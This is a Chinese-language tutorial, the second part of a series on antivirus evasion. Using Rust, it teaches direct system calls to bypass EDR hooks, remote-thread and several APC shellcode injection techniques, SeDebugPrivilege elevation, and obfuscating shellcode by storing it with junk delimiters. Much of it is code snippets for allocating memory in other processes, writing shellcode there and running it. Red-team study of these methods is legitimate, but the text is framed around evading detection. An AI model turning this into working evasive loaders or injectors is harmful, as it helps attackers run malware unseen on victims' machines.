免杀初步学习(二)
字数 1767 2025-08-06 12:20:48
免杀初步学习(二):系统调用与代码注入技术详解
目录
系统调用基础
Windows系统权限级别分为R0-R3四个级别:
- R0:内核态,最高权限
- R3:用户态,最低权限
- R1-R2:通常用于设备驱动
用户态(R3)到内核态(R0)的转换通过ntdll.dll中的Native API实现,这些函数以"Nt"或"Zw"开头。调用流程如下:
用户API (如ReadFile) → 内核API (如NtReadFile) → 系统调用 (syscall)
EDR(终端检测与响应)通常hook用户态API,但可能不会hook底层NT函数,因此直接系统调用可以绕过部分EDR检测。
系统调用号存储在eax寄存器中,syscall指令根据eax值调用不同的内核函数。
直接系统调用实现免杀
使用Rust实现直接系统调用的步骤:
- 创建build.rs文件编译汇编代码:
fn main() {
cc::Build::new()
.file("1.c")
.file("1.x64.asm")
.compile("sys");
}
- 在Rust中链接并调用NT函数:
#[link(name = "sys")]
extern "C" {
fn NtCreateThreadEx(
ThreadHandle: *mut HANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
ProcessHandle: HANDLE,
StartRoutine: *mut VOID,
Argument: *mut VOID,
CreateFlags: ULONG,
ZeroBits: SIZE_T,
StackSize: SIZE_T,
MaximumStackSize: SIZE_T,
AttributeList: *mut PS_ATTRIBUTE_LIST
) -> NTSTATUS;
}
- 调用示例:
let status = NtCreateThreadEx(
&mut thread_handle,
desired_access,
object_attributes,
process_handle,
start_routine,
argument,
create_flags,
zero_bits,
stack_size,
maximum_stack_size,
attribute_list,
);
代码注入技术
远程线程注入
经典远程线程注入流程:
- 使用CreateToolhelp32Snapshot和Process32Next遍历进程
- 找到目标进程(如notepad.exe)
- OpenProcess打开目标进程
- VirtualAllocEx在目标进程分配内存
- WriteProcessMemory写入shellcode
- CreateRemoteThread创建远程线程执行shellcode
Rust实现关键代码:
let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID);
let remote_buffer = VirtualAllocEx(process_handle, NULL, shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process_handle, remote_buffer, shellcode.as_ptr() as *const c_void, shellcode.len(), NULL as *mut usize);
let remote_thread = CreateRemoteThread(process_handle, NULL, 0, Some(std::mem::transmute(remote_buffer)), NULL, 0, NULL);
免杀技巧:
- 对shellcode进行简单混淆处理,如:
fn StrToU8Array(str: &str) -> Vec<u8> {
let hex_string = str.replace("%%##..", "");
hex::decode(hex_string).unwrap()
}
使用类似%%##..fc%%##..48%%##..83的格式存储shellcode
APC注入
APC基础原理
APC(异步过程调用)是一个链状数据结构,每个线程维护一个APC队列。当线程从等待状态苏醒时,会自动检查并执行APC队列中的函数。
APC两种形式:
- 用户模式APC:函数地址在用户空间
- 内核模式APC:函数地址在内核空间
关键函数:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC函数地址
HANDLE hThread, // 线程句柄
ULONG_PTR dwData // APC函数参数
);
ResumeThread触发APC注入
实现步骤:
- 遍历进程和线程,找到目标进程(如explorer.exe)
- 提升当前进程权限(SeDebugPrivilege)
- 在目标进程分配内存并写入shellcode
- 向目标进程的所有线程插入APC
- 使用ResumeThread恢复线程执行
关键代码:
let thread_handle = OpenThread(THREAD_ALL_ACCESS, 0, thread_id);
QueueUserAPC(apc_func, thread_handle, 0);
ResumeThread(thread_handle);
NtTestAlert本地进程注入
简化版APC注入,使用当前线程:
- 分配内存并写入shellcode
- 将shellcode地址加入APC队列
- 调用NtTestAlert触发APC执行
关键代码:
let apc_func = std::mem::transmute::<*mut c_void, Option<unsafe extern "system" fn(usize)>>(base_address);
QueueUserAPC(apc_func, GetCurrentThread(), 0);
NtTestAlert();
创建挂起进程APC注入
更可靠的APC注入方法:
- 以CREATE_SUSPENDED标志创建进程
- 在目标进程分配内存并写入shellcode
- 插入APC到主线程
- 恢复进程执行
关键代码:
let create_proc_result = CreateProcessA(
app_path.as_ptr(),
null_mut(),
null_mut(),
null_mut(),
false as i32,
CREATE_SUSPENDED,
null_mut(),
null_mut(),
&mut si,
&mut pi
);
QueueUserAPC(apc_func, pi.hThread, 0);
ResumeThread(pi.hThread);
权限提升技术
提升SeDebugPrivilege权限的步骤:
- OpenProcessToken打开当前进程令牌
- LookupPrivilegeValue获取SE_DEBUG_NAME的LUID
- AdjustTokenPrivileges启用权限
Rust实现:
let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
LookupPrivilegeValueA(null(), b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid);
AdjustTokenPrivileges(h_token, 0, &mut tkp, 0, null_mut(), null_mut());
总结与参考
免杀关键点:
- 使用直接系统调用绕过用户态hook
- 对shellcode进行简单混淆处理
- 使用非常见API组合
- Rust语言本身特征较少,有利于免杀
- 每个免杀项目建议单独创建,避免无关代码影响
参考文章:
- https://mp.weixin.qq.com/s?__biz=MzU0MDk1MDkwNQ==&mid=2247486593&idx=1&sn=e7654d74c20d0c84d30d575acb7e19eb
- https://mp.weixin.qq.com/s?__biz=MzU0MDk1MDkwNQ==&mid=2247486595&idx=1&sn=b9fadc226ac74bc0bb726bacf24322e5
- https://www.redteam101.tech/offensive-security/code-injection-process-injection/apc-queue-code-injection